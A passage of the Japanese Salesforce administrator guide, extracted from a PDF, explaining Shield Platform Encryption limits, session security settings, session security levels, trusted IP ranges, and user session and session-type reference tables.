レスがサポートされます。)

• プロセスビルダー
• Salesforce Classic Mobile

• SalesforceIQ

• ソーシャルカスタマーサービス
• Steelbrick

• Thunder

• Visual Workflow

• Wave

従来のポータル (カスタマー、セルフサービス、パートナー) では暗号化されたデータがサポートされず、これ
らのポータルが有効になっている場合は暗号化を有効にできません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryptionについて書かれています。この違いに
ついては、こちらをクリックしてください。

関連トピック:

親トピックに戻る
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Shield プラットフォームの暗号化と Lightning Experience

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield プラットフォームの暗号化は、Lightning Experience でも Salesforce Classic と同
様に動作しますが、いくつか軽微な例外があります。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされな
くなります。これは、暗号化データを操作するための一部のユーザの機能
に影響する可能性があります。特定のユーザに表示されないようにしたい
データがある場合、項目レベルセキュリティ設定 (ページ627)、レコードア
クセス設定、およびオブジェクト権限 (ページ 630)に再確認します。

カスタム Lightning コンポーネント
カスタム Lightning コンポーネントで表示すると、ユーザに「暗号化された
データの参照」権限がなくても、暗号化データがマスクされません。

メモ
Lightning のメモプレビューは暗号化されません。

ファイル暗号化アイコン
ファイルが暗号化されていることを示すアイコンが Lightning では表示されま
せん。

日付項目
Lightning では、暗号化された日付値をマスクするダミー日付として 12/30/0001 が表示されます。

カスタム項目のマスク
暗号化鍵が破棄されると、暗号化カスタム項目の値は、ページが更新されるまでプレーンテキストで表示
されることがあります。

Shield Platform Encryption による項目の制限

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

一定の状況で項目を暗号化すると、その項目に保存する値に制限を課すことが
できます。項目を暗号化する前に、これらの制限を把握するようにしてくださ
い。

カスタム項目
ユーザが非 ASCII 値 (CJK エンコードデータなど) を入力することが予想される場合
は、次の制限を強制適用する入力規則を作成することをお勧めします。
• 非 ASCII 文字のみを含むメールカスタム項目のデータ型の値は 70 文字に制限

される。
• 非 ASCII 文字のみを含む電話カスタム項目のデータ型の値は 22 文字に制限さ

れる。

ケースコメントオブジェクトの本文項目
ケースコメントオブジェクトの [本文] 項目には、ASCII の 4,000 文字 (または 4,000

バイト) の制限があります。ただし、次の項目が暗号化されると、文字数制限は
下がります。どの程度下がるかは入力する文字の種類によって異なります。
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• ASCII — 2959

• 中国語、日本語、韓国語 — 1333

• その他の非 ASCII — 1479

取引先責任者オブジェクトの名前項目
取引先責任者オブジェクトの [名前] 項目に対して Shield Platform Encryptionを有効にすると、一部の文字種別につ
いて [名] 項目と [姓] 項目との文字数制限が下がります。Shield Platform Encryptionは ASCII の文字数制限に影響を与
えません。
• 名 — 非 ASCII の文字数制限は 22 文字
• 姓 — 非 ASCII の文字数制限は 70 文字

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

関連トピック:

項目の暗号化
親トピックに戻る

セッションセキュリティ
ログイン後、ユーザはプラットフォームとのセッションを確立します。セッションセキュリティを使用して、
ユーザがログインしたままコンピュータから離れているときにネットワークにさらされる危険を制限します。
ある従業員が別の従業員のセッションを使用したりする場合などの、内部攻撃の危険も制限します。複数の
セッション設定から選択して、セッションの動作を制御します。
無効なユーザセッションを期限切れにするタイミングを制御できます。デフォルトのセッションタイムアウト
では、2 時間で無効になります。セッションタイムアウトの時間に達すると、ログアウトするか、作業を続行
するかをたずねるダイアログが表示されます。このプロンプトに応答しないと、ログアウトされます。

メモ: ユーザがブラウザウィンドウまたはタブを閉じても、Salesforceセッションからは自動的にログオフ
されません。ユーザがこの動作を認識し、あなたの名前  > [ログアウト]を選択してすべてのセッションを
適切に終了するように徹底してください。

デフォルトで、Salesforce は TLS (トランスポートレイヤセキュリティ) を使用し、すべての通信にセキュアな接
続 (HTTPS) を必要とします。[セキュアな接続 (HTTPS) が必要]の設定では、Salesforceへのアクセスに TLS (HTTPS)

が必要かどうかを決定します。この場合、HTTP を使用してアクセスできる Force.com サイトは対象外となりま
す。Salesforceにこの設定を無効にし、URL を https:// から http:// に変更するよう依頼した場合でも、ア
プリケーションにアクセスできます。ただし、セキュリティを強化するために、すべてのセッションで TLS を
使用する必要があります。詳細は、「セッションセキュリティ設定の変更」 (ページ996)を参照してください。
ユーザの現在のセッションに対する認証 (login) メソッドに関連付けられたセキュリティレベルに基づいて、特
定のタイプのリソースへのアクセスを制限できます。デフォルトで、各 login メソッドには [標準] または [高保
証] という 2 つのセキュリティレベルのいずれかが設定されています。セッションのセキュリティレベルを変
更してポリシーを定義することで、指定したリソースを使用できるユーザを [高保証] レベルのユーザのみに限
定できます。詳細は、「セッションセキュリティレベル」 (ページ 1002)を参照してください。
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ユーザログイン情報を組織で保管するかどうか、また、設定 [ログインページでキャッシングとオートコンプ
リート機能を有効にする]、[ユーザの切り替えを有効化]、および [ログアウトするまでログイン情報を保存しま
す] を使用してスイッチャから表示できるようにするかどうかを制御できます。

セッションセキュリティ設定の変更
セッションセキュリティ設定を変更して、セッション接続タイプ、タイムアウト設定、IP アドレス範囲を
指定し、悪意のある攻撃などから保護できます。
組織の信頼済み IP 範囲の設定
信頼済み IP 範囲で、携帯電話に送信されるコードなど、ID を確認するためのログインの問題が発生するこ
となくユーザがログインできる、IP アドレスのリストが定義されます。
ユーザセッション
[ユーザセッション情報] ページで有効なセッションおよびセッションの詳細を表示して、Salesforce組織を監
視および保護します。カスタムリストビューの作成、特定のセッションに関連付けられたユーザに関する
情報の表示、不審なセッションの簡便な終了などを行うことができます。Salesforce システム管理者は組織
のすべてのユーザセッションを表示できますが、システム管理者以外のユーザは各自のセッションのみを
表示できます。
セッション種別について
組織の監視および保護に役立つ [ユーザセッション情報] ページのセッション種別について説明します。

関連トピック:

組織の信頼済み IP 範囲の設定
ID 検証履歴
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セッションセキュリティ設定の変更

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

[ログイン時の IP アド
レスとセッションをロッ
クする] 設定を使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

他のすべての設定を使用
可能なエディション:
Personal Edition、Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

セキュリティ設定を変更
する
• 「アプリケーションの

カスタマイズ」

セッションセキュリティ設定を変更して、セッション接続タイプ、タイムアウ
ト設定、IP アドレス範囲を指定し、悪意のある攻撃などから保護できます。
1. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッ

ションの設定] を選択します。
2. セッションセキュリティ設定をカスタマイズします。

説明項目

無効ユーザがログアウトされるまでの時間。
ポータルユーザの場合、タイムアウトを 15

分に設定することはできても、タイムアウト
は 10 分～ 24 時間になります。15 分から 24 時
間の範囲の値を選択します。厳重なセキュリ
ティが必要な機密情報がある場合は、より短
いタイムアウト期間を選択してください。

タイムアウト値

メモ: タイムアウト期間の半分が過ぎ
るまで、最終アクティブセッション時
間値は更新されません。そのため、タ
イムアウトが 30 分の場合、15 分が過ぎ
るまで操作を行っているかどうか
チェックされません。たとえば、10 分
後にレコードを更新すると、15 分後に
は操作を行っていなかったため、最終
アクティブセッション時間値は更新さ
れません。最終アクティブセッション
時間が更新されなかったため、操作し
た 20 分後 (計 30 分後) にログアウトされ
ます。20 分後にレコードを更新すると
します。これは、最終アクティブセッ
ション時間がチェックされてから 5 分
後です。タイムアウトがリセットされ
るため、ログアウトされるまであと 30

分 (計 50 分) あります。

タイムアウト警告メッセージを無効ユーザに
向けて表示するかどうかを決定します。[タ

セッションタイムアウト時の
警告ポップアップを無効にす
る イムアウト値] で指定されたタイムアウトの

30 秒前にプロンプトが表示されます。

無効なユーザのセッションがタイムアウトす
ると、現在のセッションが強制的に無効にな

セッションタイムアウト時に
強制的にログアウト

ります。ブラウザが更新され、ログインペー
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説明項目

ジに戻ります。組織にアクセスするには、再ログインする必要
があります。

メモ: この設定を使用する場合、[セッションタイムアウ
ト時の警告ポップアップを無効にする] は選択しないでく
ださい。

ユーザのセッションをユーザがログインした IP アドレスにロッ
クして、認可されていないユーザによる有効なセッションの
乗っ取りを防止するかどうかを決めます。

ログイン時の IP アドレスとセッションを
ロックする

メモ: この設定は、さまざまなアプリケーションやモバ
イルデバイスの機能を妨げる可能性があります。

コミュニティユーザなどのユーザの現在の UI セッションを特
定のドメインに関連付けます。この設定は、別のドメインでの

セッションを最初に使用したドメインにセッ
ションをロックする

セッション ID の不正使用防止に役立ちます。この設定は、Spring

'15 リリース以降に作成された組織ではデフォルトで有効になっ
ています。

HTTP を使用してアクセスできる Force.com サイトとは別に、
Salesforce へのログインまたはアクセスに HTTPS が必要かどうか
を決定します。
セキュリティ上の理由により、この設定はデフォルトで有効に
なっています。この設定は、API 要求には適用されません。す
べての API 要求には HTTPS が必要です。

セキュアな接続 (HTTPS) が必要

メモ: [ユーザのパスワードをリセットする]ページには、
HTTPS を使用してのみアクセスできます。

別のユーザとしてログインしているシステム管理者がセカンダ
リユーザとしてログアウトした後、以前のセッションに戻れる
かどうかを決めます。
この設定をオンにすると、システム管理者がユーザとしてログ
アウトした後にSalesforceを使用し続けるためにはログインし直

ユーザとしてログインしてから再ログイン
を強制する

す必要があります。オフにした場合は、システム管理者がユー
ザとしてログアウトした後で元のセッションに戻ります。
Summer '14 リリース以降の新しい組織では、この設定がデフォ
ルトで有効になっています。
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説明項目

セッション ID Cookie アクセスを制限します。HttpOnly 属性を持
つ Cookie は、JavaScript からのコールなど、非 HTTP メソッドでは
アクセスできません。

HttpOnly 属性が必要

メモ: JavaScript を使用してセッション ID の Cookie にアク
セスするカスタムアプリケーションまたはパッケージア
プリケーションを使用している場合は、[HttpOnly 属
性が必要]を選択するとアプリケーションが停止します。
これは、Cookie へのアプリケーションのアクセスが拒否
されるためです。[HttpOnly 属性が必要]が選択されて
いる場合は、AJAX Toolkit のデバッグウィンドウを使用で
きません。

クロスドメイン交換でセッション情報が GET 要求ではなく POST

要求を使用して送信されるように組織を設定します。クロスド
クロスドメインセッションで POST 要求
を使用

メイン交換の例として、ユーザが Visualforce ページを使用して
いる場合が挙げられます。POST 要求ではセッション情報がリ
クエストボディに保持されるため、このコンテキストでは GET

要求よりも POST 要求のほうが安全です。ただし、この設定を
有効にすると、別のドメインから埋め込まれたコンテンツ (

<img

src="https://acme.force.com/pic.jpg"/>

など) が表示されないことがあります。

ユーザが Salesforce にアクセスできる IP アドレスを、[ログイン
IP アドレスの制限] に定義されている IP アドレスのみに制限

すべての要求でログイン IP アドレスの制
限を適用

します。この設定をオンにすると、クライアントアプリケー
ションからの要求を含め、各ページ要求でログイン IP アドレス
の制限が適用されます。この設定をオフにすると、ユーザがロ
グインする場合にのみログイン IP アドレスの制限が適用されま
す。この設定は、ログイン IP アドレスが制限されたすべての
ユーザプロファイルに影響します。

ユーザのブラウザがユーザ名を保存できるようにします。オン
にすると、初回ログインの後、ユーザ名がログインページの

ログインページでキャッシングとオートコ
ンプリート機能を有効にする

[ユーザ名] 項目に自動入力されます。ユーザがログインペー
ジで[ログイン情報を保存する]を選択した場合、セッションが
期限切れになったりユーザがログアウトしたりした後でも、
ユーザ名が保持されます。ユーザ名は、スイッチャにも表示さ
れます。すべての組織で、この設定がデフォルトで選択されて
います。
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説明項目

メモ: この設定をオフにすると、[ログイン情報を保存す
る]オプションは、組織のログインページにもスイッチャ
にも表示されません。

ブラウザの安全なデータキャッシュを有効にし、サーバとの往
復処理の増加を避けることでページの再読み込みパフォーマン

パフォーマンスを向上させるためにブラウ
ザの安全で永続的なキャッシュを有効にす
る スを向上させます。すべての組織で、この設定がデフォルトで

選択されています。この設定を無効にすることはお勧めしませ
んが、データが暗号化されているのに会社のポリシーによって
ブラウザのキャッシュが許可されない場合は、無効にしてもか
まいません。

組織のユーザがプロファイル写真を選択したときに、スイッ
チャを表示するかどうかを決定します。すべての組織で、この

ユーザの切り替えを有効化

設定がデフォルトで選択されています。[ログインページで
キャッシングとオートコンプリート機能を有効にする]設定も有
効にする必要があります。組織が他の組織のスイッチャに表示
されないようにするには、[ユーザの切り替えを有効化]設定を
オフにします。これにより、組織のユーザがプロファイル写真
を選択したときも、スイッチャが表示されなくなります。

通常、ユーザ名は、セッションがアクティブである期間、また
はユーザが [ログイン情報を保存する] を選択した場合にのみ

ログアウトするまでログイン情報を保存し
ます

キャッシュされます。SSO セッションでは、ユーザ名を記憶す
るオプションが使用できません。セッションが期限切れになる
と、ユーザ名は、ログインページとスイッチャに表示されなく
なります。[ログアウトするまでログイン情報を保存します] を
有効にすると、ユーザが明示的にログアウトした場合にのみ
キャッシュされたユーザ名が削除されます。セッションがタイ
ムアウトしても、ユーザ名はスイッチャに無効として表示され
ます。ユーザは、自分のコンピュータを操作していてセッショ
ンがタイムアウトになった場合、ユーザ名を選択して再認証で
きます。ユーザが共有コンピュータを操作している場合、ユー
ザがログアウトすると、ユーザ名はただちに削除されます。
この設定は、すべての組織のユーザに適用されます。このオプ
ションはデフォルトで有効になっていません。ただし、ユーザ
の便宜のため、有効にすることをお勧めします。組織がログイ
ンページで SSO または認証のすべてのプロバイダを公開してい
ない場合は、この設定を無効にしてください。

ユーザが SMS 経由で配信される 1 回限りの PIN を受信できるよ
うにします。この設定をオンにすると、システム管理者または

SMS による ID 確認を有効にする

ユーザは、この機能を利用する前に、携帯電話番号を確認する
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説明項目

必要があります。すべての組織で、この設定がデフォルトで選
択されています。

API バージョン 31.0 以前では、コールアウトからの API ログイン
にセキュリティトークンを使用する必要があります。例とし

コールアウトから API ログインするため
のセキュリティトークンが必要 (API バー
ジョン 31.0 以前) て、Apex コールアウトや AJAX プロキシを使用したコールアウ

トが挙げられます。API バージョン 32.0 以降では、デフォルト
でセキュリティトークンが必要です。

IP アドレスの範囲を指定します。ユーザはこの範囲内 (指定し
た両端を含む) の IP アドレスからログインする必要があり、範
囲外からはログインできません。
範囲を指定するには、[新規]をクリックし、開始 IP アドレスと
終了 IP アドレスを入力して、開始値と終了値を含む範囲を定義
します。

[ログイン IP アドレスの制限]  (Contact

Manager Edition、Group Edition、および
Professional Edition)

この項目は、Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition では使用できません。これらの
エディションでは、有効な [ログイン IP アドレスの制限] をユー
ザプロファイル設定に指定できます。

ユーザは 2 要素認証や ID 検証に U2F セキュリティキーを使用で
きます。Salesforce Authenticator、認証アプリケーションによって

セキュリティキー (U2F) の使用をユーザ
に許可

生成されたワンタイムパスワード、またはメールや SMS で送信
されたワンタイムパスワードを使用する代わりに、登録された
U2F セキュリティキーを USB ポートに挿して検証を完了します。

ユーザは自宅やオフィスなどの信頼できる場所にいるときはい
つでも Salesforce Authenticator で通知を自動的に承認して ID を検

Salesforce Authenticator でロケー
ションベースの自動検証を許可

証できます。自動検証を許可する場合、すべての場所で許可す信頼済み IP アドレスからのみ許可 ることも、信頼できる IP アドレス (社内ネットワークなど) のみ
に制限することもできます。

ユーザは Lightning Login を使用して、ID 検証で Salesforce

Authenticator を信頼し、パスワードを使用せずに Salesforce にロ
グインできます。

Lightning Login を許可

Salesforceの設定ページで、クリックジャック攻撃に対して保護
します。クリックジャックは、ユーザインターフェース着せ替

設定ページのクリックジャック保護を有効
化

え攻撃とも呼ばれます ([設定] ページは [設定] メニューから使
用できます)。

設定以外のSalesforceページで、クリックジャック攻撃に対して
保護します。クリックジャックは、ユーザインターフェース着

設定以外の Salesforce ページのクリッ
クジャック保護を有効化

せ替え攻撃とも呼ばれます。設定ページにはクリックジャック
攻撃に対する保護がすでに含まれています ([設定] ページは [設
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説明項目

定] メニューから使用できます)。すべての組織で、この設定が
デフォルトで選択されています。

ヘッダーが有効になっている Visualforce ページで、クリック
ジャック攻撃に対して保護します。クリックジャックは、ユー
ザインターフェース着せ替え攻撃とも呼ばれます

標準ヘッダーがある Visualforce ペー
ジのクリックジャック保護を有効化

警告: フレームまたは iframe 内でカスタム Visualforce ペー
ジを使用すると、空白のページが表示されたり、ページ
がフレームなしで表示されたりすることがあります。た
とえば、クリックジャック保護がオンになっていると、
ページレイアウトの Visualforce ページが機能しません。

ページで showHeader="false"を設定するときに、ヘッダー
が無効になっている Visualforce ページで、クリックジャック攻

ヘッダーが無効化された Visualforce

ページのクリックジャック保護を有効化
撃に対して保護します。クリックジャックは、ユーザインター
フェース着せ替え攻撃とも呼ばれます。

警告: フレームまたは iframe 内でカスタム Visualforce ペー
ジを使用すると、空白のページが表示されたり、ページ
がフレームなしで表示されたりすることがあります。た
とえば、クリックジャック保護がオンになっていると、
ページレイアウトの Visualforce ページが機能しません。

設定以外のページを変更して、クロスサイトリクエストフォー
ジェリ (CSRF) 攻撃から保護します。設定以外のページでランダ

設定ページ以外の GET 要求の CSRF 保
護を有効化

ムな文字列を URL パラメータに挿入するか、非表示のフォーム
設定ページ以外の POST 要求の CSRF 保
護を有効化

項目として追加します。GET および POST 要求が実行されるたび
に、アプリケーションがこの文字列の有効性をチェックしま
す。期待される値に一致する値が見つからない限り、アプリ
ケーションはコマンドを実行しません。すべての組織で、この
設定がデフォルトで選択されています。

クロスサイトスクリプティング攻撃から保護します。反射型ク
ロスサイトスクリプティング攻撃が検出されると、コンテンツ
のない空白のページがブラウザに表示されます。

XSS 保護を有効化

ブラウザでドキュメントコンテンツから MIME タイプが推定さ
れないようにします。また、ブラウザで悪意のあるファイルが

コンテンツ盗聴保護を有効化

動的コンテンツ (JavaScript、スタイルシート) として実行されな
いようにします。

ユーザが Salesforce からログアウトした後、認証プロバイダの
ページやカスタムブランドのページなど、特定のページにユー

ログアウト URL

ザをリダイレクトします。この URL は、ID プロバイダ、SAML

シングルサインオン、または外部認証プロバイダの設定でログ
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説明項目

アウト URL が指定されていない場合にのみ使用されます。[ロ
グアウト URL] に値が指定されていない場合、[私のドメイン]

が有効でなければ https://login.salesforce.com がデ
フォルトになります。[私のドメイン] が有効な場合のデフォル
トは https://customdomain.my.salesforce.com です。

3. [保存] をクリックします。

セッションセキュリティレベル
ユーザの現在のセッションに対する認証 (login) メソッドに関連付けられたセキュリティレベルに基づいて、特
定のタイプのリソースへのアクセスを制限できます。デフォルトで、各 login メソッドには [標準] または [高保
証] という 2 つのセキュリティレベルのいずれかが設定されています。セッションのセキュリティレベルを変
更してポリシーを定義することで、指定したリソースを使用できるユーザを [高保証] レベルのユーザのみに限
定できます。
デフォルトでは、次のように認証メソッドごとに異なるセキュリティレベルが割り当てられています。
• ユーザ名およびパスワード — 標準
• 代理認証 — 標準
• 有効化 — 標準
• Lightning Login — 標準
• 2 要素認証 — 高保証
• 認証プロバイダ — 標準
• SAML — 標準

メモ:  SAML セッションに対するセキュリティレベルも、ID プロバイダによって送信される SAML アサー
ションの SessionLevel属性を使用して指定できます。属性は、STANDARDまたは HIGH_ASSURANCE

という 2 つの値のいずれかに設定できます。

Login メソッドに関連付けられたセキュリティレベルを変更する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッションの設定]を選択します。
2. [セッションセキュリティレベル] で、login メソッドを選択します。
3. メソッドを適切なカテゴリに移動するには、[追加] または [削除] 矢印をクリックします。
現在、セッションレベルのセキュリティを使用する機能は、Salesforceのレポートおよびダッシュボードと接続
アプリケーションのみです。これらのタイプのリソースに高保証を求めるポリシーを設定できます。また、リ
ソースへのアクセスに使用されるセッションが高保証でない場合に実行するアクションも指定できます。サ
ポートされるアクションは次のとおりです。
• ブロックする — 権限が不十分であるというエラーを表示して、リソースへのアクセスがブロックされま

す。
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• セッションレベルを上げる — 2 要素認証を完了するプロンプトをユーザに表示します。ユーザが認証に成
功すると、リソースにアクセスできます。レポートおよびダッシュボードの場合、ユーザがレポートまた
はダッシュボードにアクセスするとき、あるいはレポートまたはダッシュボードをエクスポートして印刷
するときに、このアクションを適用できます。

警告: Lightning Experience では、ユーザをリダイレクトして 2 要素認証を完了し、セッションレベルを高保
証に上げることは、サポートされていません。組織で Lightning Experience が有効化されていて、レポート
とダッシュボードへのアクセスに高保証セッションが必要なポリシーをユーザが設定している場合、標
準保証セッションのLightning Experienceユーザはレポートとダッシュボードからブロックされます。また、
ナビゲーションメニューにはこれらのリソースのアイコンが表示されません。回避策として、標準保証
セッションのユーザはログアウトしてから、組織によって高保証として定義された認証方法を使用して
再度ログインできます。その後ユーザはレポートとダッシュボードにアクセスできます。または、Salesforce

Classicに切り替えることができます。この場合、レポートとダッシュボードにアクセスするときに、セッ
ションレベルを上げるように促されます。

接続アプリケーションにアクセスするために、高保証を必要とするポリシーを設定する手順は、次のとおりで
す。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを管理

するオプションを選択します。
2. 接続アプリケーションの横にある [編集] をクリックします。
3. [高保証セッションが必要です] を選択します。
4. 表示されるアクションのいずれかを選択します。
5. [保存] をクリックします。
レポートおよびダッシュボードにアクセスするために、高保証を必要とするポリシーを設定する手順は、次の
とおりです。
1. [設定] から、[クイック検索]ボックスに「アクセスポリシー」と入力し、[アクセスポリシー]を選択します。
2. [高保証セッションが必要です] を選択します。
3. 表示されるアクションのいずれかを選択します。
4. [保存] をクリックします。
セッションレベルは、明示的なセキュリティポリシーが定義された接続アプリケーション、レポート、および
ダッシュボードを除き、アプリケーションのリソースに影響を及ぼしません。

関連トピック:

セッションセキュリティ
Salesforce の [設定] メニューの探索
ID 検証履歴
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組織の信頼済み IP 範囲の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ネットワークアクセスを
参照する
• 「ログイン問題の有効

化」

ネットワークアクセスを
変更する
• 「IP アドレスの管理」

信頼済み IP 範囲で、携帯電話に送信されるコードなど、ID を確認するためのロ
グインの問題が発生することなくユーザがログインできる、IP アドレスのリス
トが定義されます。
認証されていないアクセスから組織のデータを保護するために、ユーザがログ
インの問題が発生することなくログインできる IP アドレスのリストを指定でき
ます。ただし、信頼済み IP 範囲外のユーザの場合、この方法で完全にアクセス
を制限することはできません。これらのユーザは、ログインの問題を解決 (通常
はモバイルデバイスまたはメールアドレスに送信されたコードを入力) した後に
ログインできます。
1. [設定] から、[クイック検索]ボックスに「ネットワークアクセス」と入力し、

[ネットワークアクセス] を選択します。
2. [新規] をクリックします。
3. 有効な IP アドレスを [開始 IP アドレス] 項目に入力し、開始 IP アドレスよ

り上位のアドレスを [終了 IP アドレス] 項目に入力します。
開始アドレスと終了アドレスで、ユーザのログインを許可する IP アドレスの
範囲 (開始値と終了値を含む) を定義します。1 つの IP アドレスからのログイ
ンのみを許可する場合は、両方の項目に同じアドレスを入力します。
開始 IP アドレスと終了 IP アドレスは IPv4 範囲にあり、アドレス数は 33,554,432 以内にする必要があります
(225、7 CIDR ブロック)。

4. 必要に応じて、範囲の説明を入力します。たとえば、複数の範囲を管理している場合、ネットワークのこ
の範囲に対応する部分の詳細を入力します。

5. [保存] をクリックします

メモ:  2007 年 12 月以前に有効化された組織の場合、Salesforce 機能が導入されると、自動的に 2007 年 12 月
の組織の信頼できる IP アドレスリストに入力されます。信頼できるユーザが過去 6 か月間に Salesforce へ
アクセスするのに使用した IP アドレスも含まれています。

関連トピック:

セッションセキュリティ
ユーザが Salesforce にログインできる範囲と時間帯の制限

963

セッションセキュリティSalesforce 組織の設定および管理



ユーザセッション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

[ユーザセッション情報] ページで有効なセッションおよびセッションの詳細を表
示して、Salesforce組織を監視および保護します。カスタムリストビューの作成、
特定のセッションに関連付けられたユーザに関する情報の表示、不審なセッショ
ンの簡便な終了などを行うことができます。Salesforce システム管理者は組織の
すべてのユーザセッションを表示できますが、システム管理者以外のユーザは
各自のセッションのみを表示できます。
[削除]ボタンをクリックしてユーザのセッションを手動で削除した場合は、ユー
ザが組織に再度ログインする必要があります。
次の表では、このページで参照できる項目について説明します。地理位置情報
技術の性質上、地理位置情報項目の精度 (国、市区郡、郵便番号など) は変化する場合があります。

説明項目

ユーザの IP アドレスが物理的に存在する市区郡。この値はローカライズされませ
ん。

市区郡

ユーザの IP アドレスが物理的に存在する国。この値はローカライズされません。国

ユーザの IP アドレスが物理的に存在する国の ISO 3166 コード。この値はローカラ
イズされません。詳細は、「国コード - ISO 3166」を参照してください。

国コード

セッションが開始された日時のスタンプ。作成日

ユーザの IP アドレスが物理的に存在する場所の緯度。緯度

ユーザがログインした IP アドレスのおおよその場所。おおよその市区郡や郵便番
号などの他の地理情報を表示するには、それらの項目を含むカスタムビューを作
成します。この値はローカライズされません。

場所

ユーザの IP アドレスが物理的に存在する場所の経度。経度

セッションに関連付けられているログインの種別。代表的なログイン種別は、ア
プリケーション、SAML、ポータルなどです。

ログイン種別

セッションに親がある場合、この ID は親の一意の ID です。親セッション ID

ユーザの IP アドレスが物理的に存在する場所の郵便番号。この値はローカライズ
されません。

郵便番号

セッションの一意の ID。セッション ID

ユーザがログインしているセッションの種別。一般的な種別は、UI、コンテンツ、
API、Visualforce などです。

セッション種別

セッションに関連付けられている IP アドレス。ソース IP

ユーザの IP アドレスが物理的に存在する下位区分の名前。この値はローカライズ
されません。

下位区分

セッションに関連付けられているプロファイルの種別。ユーザ種別
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説明項目

セッションのログイン時に使用されたユーザ名。ユーザのプロファイルページを
表示するには、ユーザ名をクリックします。

ユーザ名

活動によってセッションが最後に更新された日時のスタンプ。たとえば、UI セッ
ション中、ユーザは作業をしながらレコードやその他のデータを頻繁に変更しま

更新日

す。変更が行われるごとに、[更新済み] と [有効期限] の日時スタンプが更新さ
れます。

セッションを手動で終了せず、自動的に期限切れとなった時点の日時スタンプ。有効期限

関連トピック:

ユーザ認証の要素
セッション種別について

セッション種別について

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

組織の監視および保護に役立つ [ユーザセッション情報] ページのセッション種
別について説明します。
[ユーザセッション情報] ページでは、特定のユーザのセッション種別を表示でき
ます。このページにアクセスするには、[設定] から、[クイック検索] ボックス
に「セッション管理」と入力し、[セッション管理] を選択します。
セッション種別は、ユーザが組織にアクセスするために使用するセッションの
種別です。セッション種別には、永続的なセッション種別または一時的なセッ
ション種別があり、ユーザインターフェース、API、またはその他の方法 (OAuth

認証プロセスなど) を使用してアクセスできます。
次の表に、セッション種別を示します。

説明セッション種別

API を使用して組織にアクセスするときに作成されます。API

API 限定ユーザのユーザインターフェースでパスワードをリセットできるよ
うにするために作成されます。

APIOnlyUser

Chatterネットワークまたは Chatter コミュニティを使用するときに作成されま
す。

ChatterNetworks

Chatter ネットワークまたは Chatter コミュニティ API を使用するときに作成さ
れます。

ChatterNetworksAPIOnly

ユーザがアップロードしたコンテンツを配信するときに作成されます。Content

OAuth 承認ページへのアクセスのみを許可するセッション。OauthApprovalUI
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説明セッション種別

OAuth フロー経由で作成されます。たとえば、接続アプリケーションに対し
て OAuth 認証を使用する場合、このセッション種別が作成されます。

Oauth2

Sites Studio ユーザインターフェースを使用するときに作成されます。SiteStudio

内部キャンバスアプリケーションが呼び出されるときに開始されるセッショ
ン。これは、常に UI の親セッションを伴う子セッションになります。

SitePreview

あるユーザが別のユーザを介してログインするときに作成されるセッショ
ン。たとえば、システム管理者が別のユーザとしてログインする場合、
SubstituteUser セッションが作成されます。

SubstituteUser

コンテンツドメイン (ユーザがログイン情報を入力するユーザインターフェー
スなど) に切り替えるための一時的なユーザインターフェースセッション。

TempContentExchange

OAuth アクセストークンアサーションフロー経由の一時的なセッション。こ
のセッションは、更新できず、通常のセッション種別に対応付けられている
必要があります。

TempOauthAccessTokenFrontdoor

Visualforce ドメインに切り替えるための一時的なセッション。TempVisualforceExchange

更新できず、通常のセッション種別に対応付けられている必要がある一時的
なセッション。

TempUIFrontdoor

ユーザインターフェースページを使用するときに作成されます。UI

キャンバスアプリケーションが呼び出されるときに開始されます。常に UI の
親セッションを伴う子セッションになります。

UserSite

Visualforce ページ経由で作成されます。Visualforce

Work.comAPIを使用するセッション。これは、常に子セッションになり、ユー
ザインターフェースでは使用できません。

WDC_API

関連トピック:

ユーザ認証の要素
ユーザセッション
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有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

有効化では、ユーザが ID の検証に使用したデバイスに関する情報を追跡します。
ユーザが認識されていないブラウザまたはアプリケーションから Salesforce にア
クセスすると、ID の検証が要求されます。ID 検証では、ユーザ名とパスワード
による認証の上にセキュリティ層がさらに追加されます。[有効化] ページには、
使用されたログイン IP アドレスとクライアントブラウザが表示されます。
信頼できる IP 範囲以外からユーザがログインし、認識されていないブラウザま
たはアプリケーションを使用する場合、ユーザは ID を検証するように求められ
ます。ユーザごとに使用可能な最も優先度の高い検証方法が使用されます。検
証方法の優先順序は次のとおりです。
1. ユーザのアカウントに接続された Salesforce Authenticator モバイルアプリケーション (バージョン 2 以降) によ

る転送通知経由の検証またはロケーションベースの自動検証。
2. ユーザのアカウントに登録された U2F セキュリティキー経由の検証。
3. ユーザのアカウントに接続されたモバイル認証アプリケーションによって生成される確認コード。
4. ユーザの検証済み携帯電話に SMS で送信される確認コード。
5. ユーザのメールアドレスにメールで送信される確認コード。
ID 検証が成功すると、ユーザは次の場合を除き、そのブラウザまたはアプリケーションから ID を再度検証す
る必要がなくなります。
